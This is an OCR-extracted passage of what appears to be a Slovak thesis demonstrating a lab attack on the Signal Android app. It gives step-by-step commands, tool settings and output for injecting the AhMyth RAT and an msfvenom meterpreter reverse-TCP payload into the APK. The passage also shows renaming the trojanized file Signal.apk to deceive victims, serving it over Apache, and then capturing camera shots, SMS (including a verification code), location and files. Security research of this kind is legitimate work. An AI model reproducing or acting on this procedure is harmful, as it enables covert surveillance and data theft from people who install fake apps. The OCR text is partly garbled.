a greyson-signal Bump version to 4.58.5 Clone with HTTPS ®

B github Restrict Cl branches Use Git or checkout with SVN using the web URL.

. https://github.com/signalapp/Signal-Andr @.
B apkdiff Ignore resources.arsc in apkdiff.py
apntool update APN list, fix MMSC issues .

- ap P Open in Desktop Download ZIP

| app Bump version to 4.58.5 5 days ago
| artwork Change the app icon 3 years ago
B buildSrc Move libsignal-service-java into this repo. 4 months ago

Obrazok 7 Github webova stranka

Na prevzatie bol pouzity program Git Bash, ktory bolo treba doinStalovat’. Git Bash je
prikazovym termindlom, ktory beZi pod operaénym systtmom Windows, ale pouZiva
linuxové prikazy. Na obrazku 8 je ukdzané, ako vyzera GspeSné prevzatie aplikacie Signal

z webovej stranky www.github.com
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MINGW64:/c/Users/OCALAB/Desktop/Signal

$ cd Desktop/Signal

~/Desktop/Signal
$ git clone https://github.com/signalapp/Signal-Android.git
Cloning into 'Signal-Android'...
remote: Enumerating objects: 94988, done.
remote: Total 94988 (delta 0), reused 0 (delta 0), pack-reused 94988
Receiving objects: 100% (94988/94988), 228.19 mMiB | 354.00 KiB/s, done.
Resolving deltas: 100% (51077/51077), done.
Updating files: 100% (3516/3516), done.

~/Desktop/Signal

Obrazok 8 Git Bash

Nasledne bol koéd aplikacie Signal otvoreny v programe Android Studio, kde bol

preskumany sposob zabezpecenia Sifrovania pre overenie spravnej funkcnosti. Nasledne

bol kod zkompilovany (obrdzok 9) a bola vytvorena aplikacia s priponou .apk, ktord je

spustite'na pod opera¢nym systémom Android.

reomwordsample\MainActivity java [app] - Android Studio

Obrazok 9 Android Studio Build
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Pre infikovanie aplikédcie Signal.apk, ktora bola ziskand z Android Studia, bol pouzity
opera¢ny systém Linux Ubuntu. Linux ma Sirokil podporu roznych utilit a nastrojov,
potrebnych na infikovanie aplikacie. Operacny systém Linux Ubuntu je vol'ne dostupny

a v tomto pripade bol nainstalovany vo virtualizovanom prostredi.

(&) e

Not listed?

ubuntu®

Obrazok 10 Linux Ubuntu
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11 UTOK NA APLIKACIU SIGNAL

Pre utok na aplikaciu Signal boli vybrané dva rozne volne dostupné néstroje. Prvy nastroj,
ktory bol vybrany je AhMyth, ktory ma grafické rozhranie. Druhy nastroj, ktory bol

vybrany je MSFvenom, ktory sa ovlada vyhrade cez terminal.

11.1 AhMyth priprava

AhMyth je program, ktory injektuje malware do aplikacie. AhMyth je voI'ne dostupny na
internete. Pre prevzatie z internetu bolo potrebné doinstalovat’ do operaéného systému
Linux Ubuntu git. Praca v Linuxe prebiehala v terminale. Najprv bola vytvorena zloZzka na
pracovnej ploche pomocou prikazu mkdir AhMyth. Nésledne bolo treba vojst’ do zlozky
prikazom cd AhMyth/. V zlozke sa pouzil prikaz git clone, ktory vypisal hlasSku, ze nebol
najdeny taky prikaz - treba doinstalovat. Na doinsStalovanie gitu bol pouzity prikaz sudo
apt-get install git. Po inStalacii bolo skontrolované, ¢i je git doinstalovany, a v akej verzii
(obrazok 11). Po overeni inStaldcie bol prevzaty AhMyth prikazom git clone

https://github.com/AhMyth/AhMyth-Android-RAT.git (obrazok 12).

filip@ubuntu: ~

File Edit View Search Terminal Help

filip@ubuntu:~$ git --version
git version 2.17.1

Obrazok 11 Verzia Git

filip@ubuntu:~/Desktop$ mkdir AhMyth

filip@ubuntu:~/Desktop$ cd AhMyth/

filip@ubuntu:~/Desktop/AhMyth$ git clone https://github.com/AhMyth/AhMyth-Android-RAT.glt
Cloning into 'AhMyth-Android-RAT'...

remote: Enumerating objects: 8921, done.

remote: Total 8921 (delta 0), reused 0 (delta 0), pack-reused 8921

Receiving objects: 100% (8921/8921), 58.91 MiB | 255.00 KiB/s, done.
Resolving deltas: 100% (1750/1750), done.

Checking out files: 100% (8431/8431), done.
filip@ubuntu:~/Desktop/AhMyths []

Obrazok 12 Vytvorenie zlozky a klonovanie
Po prevzati softvéru AhMyth bol pouzity prikaz cd Desktop/AhMyth/AhMyth-Android-
RAT/AhMyth-Server/ pre vojdenie do zlozky a prikazom npm start bol program AhMyth

spusteny.


https://github.com/AhMyth/AhMyth-Android-RAT.git
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filip@ubuntu: ~/Desktop/AhMyth/AhMyth-Android-RAT/AhMyth-Server

File Edit View Search Terminal Help

filip@ubuntu:~/Desktop/AhMyth$ cd AhMyth-Android-RAT/AhMyth-Server/
filip@Qubuntu:~/Desktop/AhMyth/AhMyth-Android-RAT/AhMyth-Server$ npm start

|> @ start /home/filip/Desktop/AhMyth/AhMyth-Android-RAT/AhMyth-Server
> electron ./app

Gtk-Message: : Failed to load module "canberra-gtk-module"

Obrazok 13 Spustenie AhMyth

AhMyth

Obrazok 14 Uvodna obrazovka AhMyth

11.2 Injektaz a itok na obet’

Po spusteni sa zobrazi uvodna obrazovka (obrazok 14), ktora po chvil’ke zmizne a miesto

nej sa zobrazi okno s dvoma zalozkami (obrazok 15 a 16).
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Victims APK Builder o0

VICTI MS LAB Port >_ Listen

.

country Manuf. Model Release IP Port

Obrazok 15 Zalozka prva AhMyth
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Victims APK Builder ..
APK Configuration
Bind With Another Apk

Obrazok 16 Zalozka druha AhMyth

Pri injektazi bola pouzitd druha zalozka. Bolo potrebné zistit’ IP adresu uto¢nika. Toto je
mozné v operacnom systéme Linux pomocou terminalu, a v iiom pouzitom prikaze

ifconfig. Tento vypiSe IP adresu utoc¢nika (obrazok 17).
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filip@ubuntu: ~

File Edit View Search Terminal Help

filip@ubuntu:~$ ifconfig

lens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.80.5 netmask 255.255.255.0 broadcast 192.168.80.255
inet6 fe80::53e8:839a3:9732:d902 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:34:35:e6 txqueuelen 1000 (Ethernet)
RX packets 146946 bytes 213458665 (213.4 MB)
RX errors @ dropped 0 overruns @ frame 0
TX packets 52370 bytes 4002077 (4.0 MB)
TX errors @ dropped O overruns 0 carrier @ collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
ineté ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 836 bytes 88994 (88.9 KB)
RX errors @ dropped 0 overruns @ frame 0
TX packets 836 bytes 88994 (88.9 KB)
TX errors @ dropped O overruns 0 carrier @ collisions 0

filipQubuntu:~$ []

Obrazok 17 IP adresa Uto¢nika

IP adresa so zvolenym portom je vloZena do programu AhMyth s aplikaciou Signal.apk.

Nasledne bola zvolend moznost’ ,,On boot* (obrazok 18), ¢o znamend, ze po inStalacii

napadnutej aplikacie Signal.apk a reStartovani zariadenia s operanym systémom Android

bude mozné na toto zariadenie pristupovat’ vzdialene.
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Victims APK Builder

APK Configuration

+ Bind With Another Apk

® On boot (recommended) On launcher activity

Victim needs to restart his phone Unstable (doesn't work on all apps)

Obrazok 18 Nastavenie AhMyth

Po nastaveni parametrov IP adresy, portu, vybrani aplikacie Signal.apk a zvoleni mozZnosti

“On boot” bolo kliknuté na tlacidlo “Build” (obrazok 18). Pri kompilovani sa v dolnom

tmavom poli zacne vypisovat’, co program AhMyth robi. Po dokonceni vypiSe oznam, Ze

aplikacia bola GspeSne skompilovana. (obrazok 19).
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Victims APK Builder o0

APK Configuration

¢ Bind With Another Apk

= Browse Apk

®) On boot (recommended) On launcher activity

Victim needs to restart his phone Unstable (doesn't work on all apps)

4/8/2020, 6:31:25 AM Decompiling /home/filip/Desktop/signal.apk. ..
4/8/2020, 6:32:03 AM Modifying AndroidManifest.xml...

4/8/2020, 6:32:03 AM Copying Ahmyth files to orginal app...
4/8/2020, 6:32:04 AM Building Ahmyth.apk...

4/8/2020, 6:33:04 AM Signing Ahmyth.apk. ..

4/8/2020, 6:33:16 AM

4/8/2020, 6:33:16 AM

Obrazok 19 Vytvorenie napadnutej aplikacie AhMyth
Cely vypis aplikécie Signal.apk pri injektazi v programe AhMyth:
4/8/2020, 6:30:59 AM File choosen /home/filip/Desktop/signal.apk
4/8/2020, 6:31:25 AM Reading (ip:port) file from Ahmyth.apk...
4/8/2020, 6:31:25 AM Adding source ip:port to Ahmyth.apk...

4/8/2020, 6:31:25 AM Adding source ip:port to /home/filip/Desktop/AhMyth/AhMyth-
Android-RAT/AhMyth-
Server/app/app/Factory/ Ahmyth/smali/ahmyth/mine/king/ahmyth/IOSocket.smali...

4/8/2020, 6:31:25 AM Decompiling /home/filip/Desktop/signal.apk...
4/8/2020, 6:32:03 AM Modifying AndroidManifest.xml...

4/8/2020, 6:32:03 AM Copying Ahmyth files to orginal app...
4/8/2020, 6:32:04 AM Building Ahmyth.apk...

4/8/2020, 6:33:04 AM Signing Ahmyth.apk...

4/8/2020, 6:33:16 AM Apk built successfully



UTB ve Zliné, Fakulta aplikované informatiky 56

4/8/2020, 6:33:16 AM The apk has been built on
/home/filip/AhMyth/Output/Ahmyth.s.apk

Aplikacia so Skodlivym kodom, ktord bola vytvorend sndzvom Ahmyth.s.apk bola
skopirovand do adresara html, aby mohla byt stiahnutd z lokalnej siete a neskor je mozné
ju stiahnut’ aj z internetu (obrdzok 20). Aby mohla byt’ aplikécia stiahnuta z lokalne;j siete
treba zapnat’ na operacnom systéme Linux Apache server v terminali prikaz apache?2 start.
Taktiez bola aplikdcia premenovana z Ahmyth.s.apk na Signal.apk k jednoduchSiemu

Sireniu a vicSej doveryhodnosti o povode (oklamanie obete prikaz mv obrazok 20).

filip@ubuntu: /var/www/html

File Edit View Search Terminal Help

filip@ubuntu:/$ cd var/www/html/

filip@ubuntu: /var/www/html$ cp /home/filip/AhMyth/Output/Ahmyth.s.apk /var/www/h
tml/

cp: cannot create reqular file '/var/www/html/Ahmyth.s.apk': Permission denied
filip@ubuntu: /var/www/html$ sudo cp /home/filip/AhMyth/Output/Ahmyth.s.apk /[var/
www/html/

[sudo] password for filip:

filip@Qubuntu: /var/www/html$ 1s

Ahmyth.s.apk 1index.html

filip@ubuntu: /var/www/html$ mv Ahmyth.s.apk Signal.apk

mv: cannot move 'Ahmyth.s.apk' to 'Signal.apk': Permission denied

filip@ubuntu: /var/www/html$ sudo mv Ahmyth.s.apk Signal.apk

filip@Qubuntu: /var/www/html$ 1s

index.html Signal.apk

filip@ubuntu: /var/www/html$ [

Obrazok 20 Server Apatch a premenovanie aplikacie

Na obrazku 20 je mozné vidiet, Ze pri kopirovani a premenovani treba pouZit’ prikaz sudo,

¢o je praca v rezime root so vSetkymi pravami, ak sa nachadzame napriklad v zlozke /var.

Toto vSetko je vykonavané v lokalnej sieti. Aby bolo mozné stiahnut’ aplikéciu Signal.apk
(uz premenovanu), bolo treba zadat’ na zariadeni ip adresu, akéd bola pouZitd v programe
AhMyth s ndzvom aplik4cie Signal.apk. Nasledne bol stibor Signal.apk nainStalovany,
prava boli potvrdené a aplikiacia Signal spustena (obrazky 21 a22). Nasledne bolo

zariadenie reStartované.
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Stiahnuté

MOJE SUBORY

Prdve teraz

I'I\ Signal.apk

6,82 MB / 26,82 MB * Zostava: 23 s

& = .l 98% MW 22:26
Q X ,
w D Signal

) Instalovat aktualizaciu tejto existujlucej

CLANKY PRE VAS aplikacie? Vase existujlce udaje
nestratite. Aktualizovana aplikacia bude
mat pristup k nasledujtcim
prostriedkom:

X NOVE VSETKY

Ochrana osobnych tidajov

L Citat ID a stav telefénu
odpoéuvat odchadzajlice hovory
priamo volat na telefénne Cisla.
& mozZu sa vam Uctovat poplatky

=] gitat textové spravy (SMS alebo MMS)
Odoslat SMS
® moZu sa vam Uctovat poplatky
prijat MMS.
prijat SMS
upravit SMS alebo MMS

NG Shimanie obrdzkov a videi

ZRUSIT INSTALOVAT

Obrazok 21 Stiahnutie a inStalacia aplikacie Signal
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= . 98% M 2227 | & = . 97% 0 22:28

Instaluje sa... +/ Aplikacia je nainstalovana.

HOTOVO OTVORIT

Obrazok 22 Instalacia aplikécie Signal

Po vykonani vysSie uvedeného bolo prejdené do programu AhMyth. V programe bol
zadany port, aky bol pouZity pri builde aplikacie Signal.apk. Po kliknuti na , Listen” sa
Cakalo na pripojenie zariadenia online (obrazok 23). Po inicializacii zariadenia (obrazok
24) bolo odkliknuté ,,Open The Lab*, ¢o umozZnilo prehliadat’ a ovladat’ zariadenie na

pozadi bez vedomia uZivatel'a zariadenia - obeti.
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APK Builder ..

Victims

| 2 | VICTIMS LAB Port | 42474 > Listen
‘.

country Manuf. Model Release IP Port

4/8/2020, 12:48: Decompiling /home/filip/Desktop/signal.apk. ..
4/8/2020, 148: Modifying AndroidManifest.xml...

4/8/2020, 12:48: Copying Ahmyth files to orgimal app...
4/8/2020, 148: Building Ahmyth.apk...

4/8/2020, 12:50: Signing Ahmyth.apk. ..
4/8/2020,
4/8/2020,

Obrazok 23 Nastavenie portu

Victims APK Builder o0

|2 | VICTIMSLAB Port
W

country Manuf. Model Release IP Port

o samsung  SM-J320FN  5.1.1 192.168.80.10 54970

4/8/2020, 148: Modifying AndroidManifest.xml...

4/8/2020, 12:48: PM Copying Ahmyth files to orginal app...
4/8/2020, 148:53 PM Building Ahmyth.apk...

4/8/2020, 12:50: PM Signing Ahmyth.apk...

4/8/2020, :b8: PM

4/8/2020, :13 PM

4/8/2020, 1:28:13 PM

4/8/2020, 1:29:03 PM New victim from 192.168.80.10

Obrazok 24 Identifikacia zariadenia
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Po kliknuti na ,,Open The Lab“ sa zobrazilo nové okno, v ktorom je mozné urobit
fotografiu kamerou zariadenia obete. Tato fotografia sa neulozi do paméte zariadenia, ale
do zariadenia Uto¢nika. TaktieZ je mozné rovnako urobit” audionahravku, zistit' polohu
zariadenia, prechadzat a kradnut' data, prezerat’ kontakty a dennik hovorov, posielat

a prezerat SMS spravy na zariadeni obete.

- o
gt
0] = & Q - ¢ .
Camera File Manager Mic Location contacts SMS Calls Logs

[

4/8/2020, 2:17:10 PM Get cameras list
4/8/2020, 2:17:11 PM

Obrazok 25 AhMyth kamera
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"
0] = ]
Camera File Manager Mic

Seconds

0:00

0

Location

4/8/2020, 2:17:10 PM Get cameras list

4/8/2020, 2:17:11 PM

4/8/2020, 2:17:21 PM Get files list

4/8/2020, 2:17:23 PM

@ @
contacts SMS

.

Calls Logs

Obrazok 26 AhMyth mikrofon
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Camera File Manager
\
| +
Biskup!
N\
~
-~
- .
T
499 -
Kocurice

4/8/2020,
4/8/2020,
4/8/2020,

4/8/2020,
4/8/2020,
4/8/2020,
4/8/2020

¢ Q = 6
Mic Location contacts SMS

Prednadrazie

Piestony l’
g3 Tesla 4
— 18T any=" e 11 2~ Piei_('any
83 ﬂ ;
|

! Maly Floreat
|
'

|

Get cameras list
Get Calls list..

Get Contacts list..
Get Location..

Obrazok 27 AhMyth poloha

.

Calls Logs

¢ 499

e

A

Leaflet
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el ®

(0] | & Q L) D) .

Camera File Manager Mic Location contacts SMS Calls Logs

../

acct
bin
cache
config
d
data
dev
efs
etc
lib
mnt
persdata

preload

4/8/2020, Get cameras list
4/8/2020,
4/8/2020, Get files list

4/8/2020,

Obrazok 28 AhMyth data
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.
(0] = U Q -
Camera File Manager Mic Location contacts
¥ 1 Contacts
Test

4/8/2020, 2:17: Get cameras list
4/8/2020,
4/8/2020, 2:17: Get files list

4/8/2020,
4/8/2020, 2:17: Get Contacts list..
4/8/2020,

SMS

Obrazok 29 AhMyth kontakty

.

Calls Logs
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-
00
(0] B \ Q - ™
Camera File Manager Mic Location contacts SMS
Send SMS SMS List

TO://

Message :

Message to send..

il SEND

4/8/2020, 2:17: Get cameras list
4/8/2020,
4/8/2020, 2:17: Get files list

4/8/2020,
4/8/2020, 2:17: Get Contacts list..
4/8/2020,

Obrazok 30 AhMyth posielanie SMS

("

Calls Logs

%
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e "
(]
0] = & Q - ¢ .
Camera File Manager Mic Location contacts SMS Calls Logs
Send SMS SMS List

= 1 Messages

+18437514985
Your Signal verification code: 162-773

4/8/2020, i c Get SMS list..
4/8/2020,
4/8/2020, 2:09: Get Calls list..

4/8/2020,
4/8/2020, 2:10: Get SMS list..
4/8/2020,

Obrazok 31 AhMyth historia SMS
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e
(0] - ¢ Q =
Camera File Manager Mic Location contacts

= 4 Llogs

.
Unknown

87
OUTGOING

4/8/2020,

4/8/2020, 2:17: Get files list
4/8/2020,

4/8/2020, 2:17:34 Get Contacts list..
4/8/2020,

4/8/2020, 2:17:4 Get Calls list..
4/8/2020

¢ .

SMS Calls Logs

Obrazok 32 AhMyth dennik hovorov

11.3 MSFvenom priprava

MSFvenom je nastroj, ktorym sa injektuje malware do aplikdcie. MSFvenom je volne

dostupny na internete. Pre prevzatie z internetu bolo potrebné doinstalovat’ do operaéného

systému Linux Ubuntu git. Praca v Linuxe prebiehala v termindle. Najprv bola vytvorena

zloZka na pracovnej ploche pomocou prikazu mkdir MSFvenom. Nasledne bolo treba vojst’

do zlozky prikazom cd MSFvenom/. V zlozke sa pouZil prikaz pre stiahnutie git clone

https://github.com/giovannicolonna/msfvenom-backdoor-android.git. =~ Do  opera¢ného

syst¢tmu Linux Ubuntu bolo potrebné nainstalovat’ Metasploit framework pre spustenie

a prepojenie nastroja MSFvenom, ako aj injektdz malweru do aplikacie.


https://github.com/giovannicolonna/msfvenom-backdoor-android.git
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filip@ubuntu: ~/Desktop/MFSvenom

File Edit View Search Terminal Help

filip@ubuntu:~$ cd Desktop/

filip@ubuntu:~/Desktop$ mkdir MFSvenom

filip@ubuntu:~/Desktop$ cd MFSvenom/

filip@ubuntu:~/Desktop/MFSvenom$ git clone https://github.com/giovannicolonna/msfvenom-backdoor-android.git

Cloning into 'msfvenom-backdoor-android'...

remote: Enumerating objects: 82, done.

remote: Total 82 (delta 0), reused © (delta 0), pack-reused 82
Unpacking objects: 100% (82/82), done.
filip@ubuntu:~/Desktop/MFSvenom$

Obrazok 33 Vytvorenie zlozky a klonovanie MSFvenom

11.4 Injektaz a utok na obet’ MSFvenom

Po stiahnuti MSFvenom bol vytvoreny shell skript (obrazok 34), ktory bol nazvany in.sh.
Koéd v skripte obsahoval aplikaciu, do ktorej sa injektuje malware. Skript obsahoval aj
informaciu o tom, aka sluzba bola pouzitd na komunikaciu medzi uto¢nikom a obet'ou.
Dalej aj ip adresu utoénika a port pre komunikaciu, cez ktory sa zariadenie obete pripaja na
zariadenie uto¢nika. Ip adresa bola zistend prikazom ifconfig v termindle (obrazok 35).
Skript obsahoval aj nazov aplikacie po injektazi.

delliku@ubuntu: ~/Desktop/APK
GNU nano 2.5.3 File: in.sh

Budo msfvenom -c signal.apk -p android/meterpreter/reverse_tcp LHOST=192.168.80.5 LPORT-4444 -0 signal_venom.apk

Obrazok 34 Shell skript
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filip@ubuntu: ~

File Edit View Search Terminal Help

filip@ubuntu:~$ ifconfig

lens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.80.5 netmask 255.255.255.0 broadcast 192.168.80.255
inet6 fe80::53e8:839a:9732:d902 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:34:35:e6 txqueuelen 1000 (Ethernet)
RX packets 146946 bytes 213458665 (213.4 MB)
RX errors @ dropped @ overruns @ frame 0
TX packets 52370 bytes 4002077 (4.0 MB)
TX errors O dropped © overruns © carrier ® collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 836 bytes 88994 (88.9 KB)
RX errors @ dropped @ overruns @ frame 0
TX packets 836 bytes 88994 (88.9 KB)
TX errors 0 dropped © overruns © carrier ® collisions 0

filip@ubuntu:~$ [

Obrézok 35 IP adresa Gtoc¢nika
Po vytvoreni skriptu bol skript spusteny prikazom ./in.sh v teminali (obrazok 36).

O ® ® delliku@ubuntu: ~/Desktop/APK

delliku@ubuntu:~/Desktop/APKS 1s
in.sh signal.apk Weather.apk Windy.apk
delliku@ubuntu:~/Desktop/APKS ./in.shl]

Obrazok 36 Prikaz pre spustenie skriptu

Nésledne bol malware injektovany do aplikdcie Signal a vytvoreny subor

signal venom.apk (obrdzok 37).

© ® @ delliku@ubuntu: ~/Desktop/APK

delliku@ubuntu:~/Desktop/APKS 1s

in.sh signal.apk Weather.apk Windy.apk

delliku@ubuntu:~/Desktop/APKS ./in.sh

[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-]1 No arch selected, selecting arch: dalvik from the payload

No encoder or badchars specified, outputting raw payload
Payload size: 10098 bytes

Saved as: signal_venom.apk
delliku@ubuntu:~/Desktop/APKS |

Obrazok 37 Injektaz MSFvenom

Po injektazi do aplikacie bolo potrebné skopirovat’ stibor signal venom.apk do zloZzky html
(obrazok 38) pre distribiciu na zariadenie obete pomocou apatche lokalneho serveru na

lokalnej sieti.
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filip@ubuntu: ~/Desktop

File Edit View Search Terminal Help

filip@ubuntu: $ sudo cp /home/filip/Desktop/signal_volfram.apk /var/www/html/D

Obrazok 38 Kopirovanie signal venom.apk

Na zariadeni obete bola aplikécia stiahnuta, nainstalovana a spustena (obrazok 39 - 40).

7 .l 80% M 12:46 7 .l 80% M 12:46

Indtalovat tuto aplikaciu? Bude mat
pristup k nasledujicim prostriedkom:

Instalovat tuto aplikaciu? Bude mat
pristup k nasledujucim prostriedkom:

Ochrana osobnych tdajov

.

\Z 3
>

Citaf ID a stav telefénu
odpocuvat odchadzajlce hovory
priamo volat na telefénne cisla.
© mozu sa vam Uctovat poplatky

citat textové spravy (SMS alebo MMS)
Odoslat SMS

© mozu sa vam Uctovat poplatky
prijat MMS.

prijat SMS

upravit SMS alebo MMS

Snimanie obrazkov a videi
Nahrat zvuk

zistit presnt polohu (pomocou GPS a
ciete)

ZRUSIT DALSI

P

£

ZRUSIT

PUHIVYUL OU LUl TAUCTITUTNT T D TUC iU

spustit pri Starte

ovladat vibrator

zabranit telefénu v prechode do
rezimu spanku

Nastavit tapetu
zmenit nastavenia zvuku

¢itat nastavenia synchronizacie
zapisat synchroniza¢né nastavenia

odoslat trvalé vysielanie
com.sec.android.provider.badge.permi

ssion.READ

com.sec.android.provider.badge.permi
ssion.WRITE

INSTALOVAT

Obrazok 39 Instalacia aplikacie Signal
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7 .l 80% W 12:47

v/ Aplikdcia je nainstalovana.

HOTOVO OTVORIT

Obrazok 40 Supstenie aplikacie Signal

Po spusteni aplikacie Signal bol na pocitaci utocnika spusteny program Metasploit

Framework prikazom sudo msfconsole (obrazok 41).
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File Edit View Search Terminal Help

filip@ubuntu:~$ sudo msfconsole
[sudo] password for filip:
This copy of metasploit-framework is more than two weeks old.
Consider running 'msfupdate' to update to the latest version.
***Rting the Metasploit Framework console...\
* WARNING: No database support: No database YAML file

*k*

'O c
e, 3@ e ; .o,
." @eeee’ ., ee eeeee’ , . 'eeee .
' - . @eeeeeeeeeeee 2eeeeeeeeeeee @;
. @eeeeeeeeeee eeeeeeeeeeeeee . '
"--r.eee -.e @ ,'- .-
Q' ;@ e .
leeee Gee @
' @ee @@ @@
. @eee

_ / Metasploit! \
S W |

/1__
\l--

metasploit v5.0.80-dev-

1983 exploits - 1087 auxiliary - 339 post
559 payloads - 45 encoders - 10 nops

7 evasion

[ |
(L L Vi [
e

n
L
L
\Y%

—

Obrazok 41 Spustenie MSF

V konzole bolo potrebné néjst’ a spustit’ exploit pre pracu s operacnym systémom Android
(obrazok 42). Rovnako bolo potrebné nakonfigurovat’ ip adresu a port, na ktory sa bude
zariadenie obete pripajat’. Najprv bola vypisana prednastavend konfiguracia (obrazok 42),

nasledne bola nastavena ip adresa a port, aky bol zadany pri injektazi (obrazok 43).
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m

1983 exploits - 1087 auxiliary - 339 post
559 payloads - 45 encoders - 10 nops
7 evasion

+ + +
10 ¢
T
[T

e

msf5 > use exploit/multi/handler

msf5 exploit( ) > set payload android/meterpreter/reverse_tcp
payload => android/meterpreter/reverse_tcp

msf5 exploit( ) > show options

Module options (exploit/multi/handler):

Name Current Setting Required Description

Payload options (android/meterpreter/reverse_tcp):

Name Current Setting Required Description

LHOST The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:
Id Name

® Wildcard Target

Obrazok 42 Prednastavena konfiguracia

msf5 exploit( ) > set LHOST 192.168.80.5
LHOST => 192.168.80.5

msf5 exploit( ) > set LPORT 4444

LPORT => 4444

msf5 exploit( ) > show options

Module options (exploit/multi/handler):

Name Current Setting Required Description

Payload options (android/meterpreter/reverse_tcp):

Name Current Setting Required Description

LHOST 192.168.80.5 The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:
Id Name

® Wildcard Target

msf5 exploit(

Obrazok 43 Nastavenie konfiguricie

Po nakonfigurovani, bol exploit spusteny v konzole prikazom exploit (obrazok 44). Exploit

po spusteni ¢akd kym sa pripoji zariadenie obete. Po pripojeni zariadenia obete k pocitacu
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uto¢nika sa v konzole pripojené zariadenie zobrazi a je mozné pouzivat' rozne prikazy.

Prikazom help boli vypisané prikazy, ktoré bolo mozné pouzit’ (obrazok 44).

File Edit View Search Terminal Help
msf5 exploit( ) > exploit

[#] Started reverse TCP handler on 192.168.80.13:4444
[*] Sending stage (73558 bytes) to 192.168.80.10
[*] Meterpreter session 1 opened (192.168.80.13:4444 -> 192,168.80.10:46356) at 2020-05-02 04:03:06 -0700

meterpreter > help

Core Commands

background
bg

bgkill
bglist

bgrun
channel
close
disable_unicode_encoding
enable_unicode_encoding
exit
get_timeouts
guid

help

info

irb

load
machine_id
pry

quit

read
resource

run

secure
sessions
set_timeouts
sleep
transport
use

uuid

write

Stdapi: File system Commands

Description

Help menu

Backgrounds the current session

Alias for background

Kills a background meterpreter script

Lists running background scripts

Executes a meterpreter script as a background thread
Displays information or control active channels
Closes a channel

Disables encoding of unicode strings

Enables encoding of unicode strings

Terminate the meterpreter session

Cet the current session timeout values

Cet the session GUID

Help menu

Displays information about a Post module

Open an interactive Ruby shell on the current session
Load one or more meterpreter extensions

Cet the MSF ID of the machine attached to the session
Open the Pry debugger on the current session
Terminate the meterpreter session

Reads data from a channel

Run the commands stored in a file

Executes a meterpreter script or Post module
(Re)Negotiate TLV packet encryption on the session
Quickly switch to another session

Set the current session timeout values

Force Meterpreter to go quiet, then re-establish session.
Change the current transport mechanism

Deprecated alias for "load"

Get the UUID for the current session

Writes data to a channel

Read the contents of a file to the screen
Change directory
Retrieve the checksum of a file

Copy source to destination
2. £ _ /_12 £ _ 1 _\

Obréazok 44 Zobrazenie help-u

Pomocou prikazov bolo mozné ovladat’ zariadenie obete. Pre vzor funk¢nosti boli pouZzité
prikazy, ktorymi boli zistené informdcie o systéme obete (obrazok 45), bolo mozné urobit’
fotografiu kamerou obete a fotografia bola ulozena do pocitaca tto¢nika (obrazok 46, 47).
Rovnako bolo mozné prechadzanie suborov pomocou linuxovych prikazov (obrazok 48),
stahovanie dat zo zariadena obete (obrazok 49), vypis routovacej tabulky zariadenia

(obrazok 50) a zobrazenie polohy zariadenia obete (obrazok 51)
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meterpreter > sysinfo
Computer : localhost
0S : Android 5.1.1 - Linux 3.10.65-13555368 (armv71l)

Meterpreter : dalvik/android
meterpreter > [

Obrazok 45 Informécia o systéme

meterpreter > webcam_snap
Starting...
[+] Got frame
Stopped
Webcam shot saved to: /home/filip/Desktop/tTwZUnAO. jpeg

Obrazok 46 Fotografia zo zariadenia obete

- Description

Request to install apk file
installed apps in the device
Main Activty for package name
)est to uninstall application

&;{d- Lllnl.lx 3.10.65-13555368 (armvl)

 shot saved to: /home/f :
meterpreter > mbcln_s!ﬂp /FAUp/Desktop/tTuzinso. Jpeg
[*] Starting...

[+] Got frame

[*] Stopped ;

Webcam shot saved to: ‘hm/f‘lltp/besktop/?en\'ﬂrsc. Jpeg

g% wgbca‘n_s ap

Obrazok 47 Fotografia ulozena v pocitaci utocnika
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meterpreter > 1s
No entries exist in /data/data/com.metasploit.stage/files
meterpreter > cd ..
meterpreter > 1s
isti /data/data/com.metasploit.stage

40666 /rw-rw-rw-
40666/rw-rw-rw-

2020-05-02 04:02:27 -0700
2020-05-02 04:03:18 -0700
1969-12-31 16:00:00 -0800

meterpreter > cd ..
meterpreter > cd ..

meterpreter > 1s

stdapi_fs_ls:

meterpreter > 1s

Listin

40444 [r--r--r--
40444 [r--r--r--

40444 [r--r--r--
100444 /r--r--r--

Operation failed: 1
meterpreter > cd ..

Size
(0]
4096
4096
0

(0]
4096
490
2720
4096
4096
84742

757632

Last modified

2020-05-02
2018-06-27
2020-05-01
2020-05-02
1969-12-31
2020-05-02
1969-12-31
2020-05-02
2014-12-31
2018-06-27
1969-12-31
1969-12-31
1969-12-31
1969-12-31
1969-12-31
1969-12-31
1969-12-31
1969-12-31
1969-12-31
1969-12-31
1969-12-31
1969-12-31
1969-12-31
1969-12-31
1969-12-31
1969-12-31
1969-12-31
1969-12-31
1969-12-31
1969-12-31
1969-12-31

Name

Fldey

bin

cache

config

d

data

default.prop

dev

efs

etc

file_contexts
fstab.goldfish
fstab.sc8830

init
init.board.rc
init.cali.rc
init.environ.rc
init.goldfish.rc
init.j3xnlte.rc
init.j3xnlte_base.rc
init.rc
init.recovery.board.rc
init.rilchip.rc
init.rilcommon.rc
init.sc8830.rc
init.sc8830.usb.rc
init.sc8830_ss.rc
init.storage.rc
init.trace.rc
init.usb.rc
init.wifi.rc

Obrazok 48 Prechadzanie suborov obete
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meterpreter > cd ..

meterpreter > cd Screenshots

meterpreter > 1s

Listing: /storage/emulated/legacy/DCIM/Screenshots

Mode Size Last modified Name

100666 /rw-rw-rw- 406512 2020-04-08 EalTs - Screenshot_2020-04-08-22-17-57.png
100666/ rw-rw-rw- 410102 fi 2020-04-08 13:19: - Screenshot_2020-04-08-22-19-05.png
100666/rw-rw-rw- 57674 2020-04-08 :23: - Screenshot_2020-04-08-22-23-46.png
100666 /rw-rw-rw- 158756 2020-04-08 126: - Screenshot_2020-04-08-22-26-55.png
